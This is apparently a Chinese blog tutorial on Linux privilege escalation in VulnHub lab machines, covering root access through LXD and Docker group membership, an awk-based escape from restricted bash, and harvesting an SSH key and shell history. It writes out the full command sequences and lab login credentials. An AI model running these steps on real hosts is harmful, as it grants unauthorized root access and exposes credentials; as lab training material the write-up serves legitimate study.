Linux提权五:Rbash绕过&Docker&LXD镜像

前言

1.什么是LXC、LXD、Rbash?

①LXC 是 Linux 内核容器技术的用户空间工具,属于 操作系统级虚拟化。它允许在单一 Linux 主机上运行多个隔离的 Linux 系统(容器),共享同一内核。

②LXD 是 LXC 的 下一代管理工具,基于 LXC 的底层技术,但提供更高级的 API 和命令行工具(lxc 命令)。它通过守护进程(daemon)管理容器,支持快照、实时迁移、资源限制等。

③rbash 是 受限的 Bash shell,通过限制用户行为增强安全性。它是 Bash 的符号链接(rbash -> bash),但启动时会施加限制,导致某些命令会无法使用。

2.LXD与Docker的区别? 其实一句话说清楚就是,LXD类似于启动一个新的虚拟机容器,而Docker类似于启动了一个新的进程/应用。

Linux系统提权 - 普通用户-LXD容器

我们直接来到入口点,直接通过拿到的账号密码SSH登录目标主机:

复制代码
账号:n0nr00tuser
密码:zxowieoi4sdsadpEClDws1sf

可以看到这里当前用户在lxd组中,所以拥有创建容器的权限

原理: LXD是基于LXC容器的管理程序,当前用户可操作容器 理解为用户创建一个容器,再用容器挂载宿主机磁盘, 最后使用容器权限操作宿主机磁盘内容达到提权效果。 lxd本地提权条件: -已经获得Shell -用户属于lxd组

上传一个./LinEnum.sh进行检测

复制代码
创建容器,挂载磁盘,进入容器,进入目录提权
# 导入这个镜像命名为test容器
lxc imageimport ./alpine-v3.13-x86_64-20210218_0139.tar.gz
--alias test
#初始化镜像
lxc init test test -c security.privileged-true 
#这里创建成功之后,使用如下命令将根目录挂载到容器的/mnt/root目录下:
lxc config device add test test disk source=/ path=/mnt/root
recursive=true
# 启动test容器
lxc start test
# 获取这个test容器shell
lxc exec test /bin/sh
# 进入之前受限的root目录
cd /mnt/root/root
cat flag.txt

Linux系统提权 - 普通用户-Docker容器

环境复现:https://www.vulnhub.com/entry/chill-hack-1,622/

提权条件

  1. 已经获得普通用户Shell
  2. 用户属于docker组

还是直接来到入口点,通过如下账号密码SSH登录拿到权限:

账号:anurodh 密码:!d0ntKn0wmYp@ssw0rd

用户在docker组里面,说明我们拥有自建容器的权限,于是尝试构建容器,并挂载根目录:

复制代码
1、入口点:
User: anurodh
Pass:!dOntKnOwmYp@sswOrd
2、检测及利用:
./LinEnum.sh
3、创建容器,挂载磁盘,进入容器,进入目录提权
docker run -v /:/mnt -it alpine
cd /mnt/root

#Linux系统提权-普通用户-Rbash绕过

参考:https://xz.aliyun.com/t/7642

Rbash(TheRestrictedmodeofbash),也就是限制型 bash 在渗透测试中可能遇到rbash,尝试绕过后才能进行后续操作

环境复现:https://www.vulnhub.com/entry/funbox-rookie,520/

这里主要是讲关于遇到Rbash如何绕过的问题,Rbash是一种限制型的bash,它会禁止用户执行某些操作

来到入口点,我们通过信息收集发现目标开放21端口,尝试ftp匿名登录:

复制代码
ftp <IP>
ls
get tom.zip

1、入口点: fscan -h 192.168.1.0/24

ftp 192.168.1.8

get tom.zip(iubIre压缩包密码)

解压缩发现id_rsa文件,这是SSH登录密钥,于是尝试登录拿到Shell ssh tom@192.168.1.8 -i id_rsa

2、Rbash绕过:

启动一个web环境 python -m http.server 8080

下载sh文件 wget http://192.168.1.3:8080/LinEnum.sh

尝试执行发现不行:

此时需要Rbash绕过

参考文章:rbash逃逸大全-先知社区

一条简单快捷的:

复制代码
awk 'BEGIN {system("/bin/bash")}'

此时再执行可以了

3、历史泄漏提权: ./LinEnum.sh cat /home/tom/.mysql_history

复制代码
# 查看执行的历史命令,里面有可能会泄露一些敏感信息
history
# 查看mysql的历史命令
cat /home/tom/.mysql_history
相关推荐
!沧海@一粟!2 小时前
Linux-配置虚拟IP实例
linux·网络
济6172 小时前
I.MX6U 开发板网络环境搭建----(电脑 WiFi 上网,开发板和电脑直连)--虚拟机双网口实现-- Ubuntu20.04
linux·网络·电脑
yuanmenghao2 小时前
Linux 性能实战 | 第 18 篇:ltrace 与库函数性能分析
linux·python·性能优化
行走的陀螺仪2 小时前
GitLab + GitLab Runner 本地 Docker 部署实战文档
ci/cd·docker·gitlab·php·gitlab-runner
熬了夜的程序员2 小时前
【LeetCode】118. 杨辉三角
linux·算法·leetcode
运维闲章印时光2 小时前
企业跨地域互联:GRE隧道部署与互通配置
linux·服务器·网络
至此流年莫相忘2 小时前
Linux部署k8s(Ubuntu)
linux·ubuntu·kubernetes
独自归家的兔2 小时前
Ubuntu环境下 Harbor docker安装教程
运维·docker·容器
Hello World . .2 小时前
Linux:线程(thread)
linux·开发语言·vscode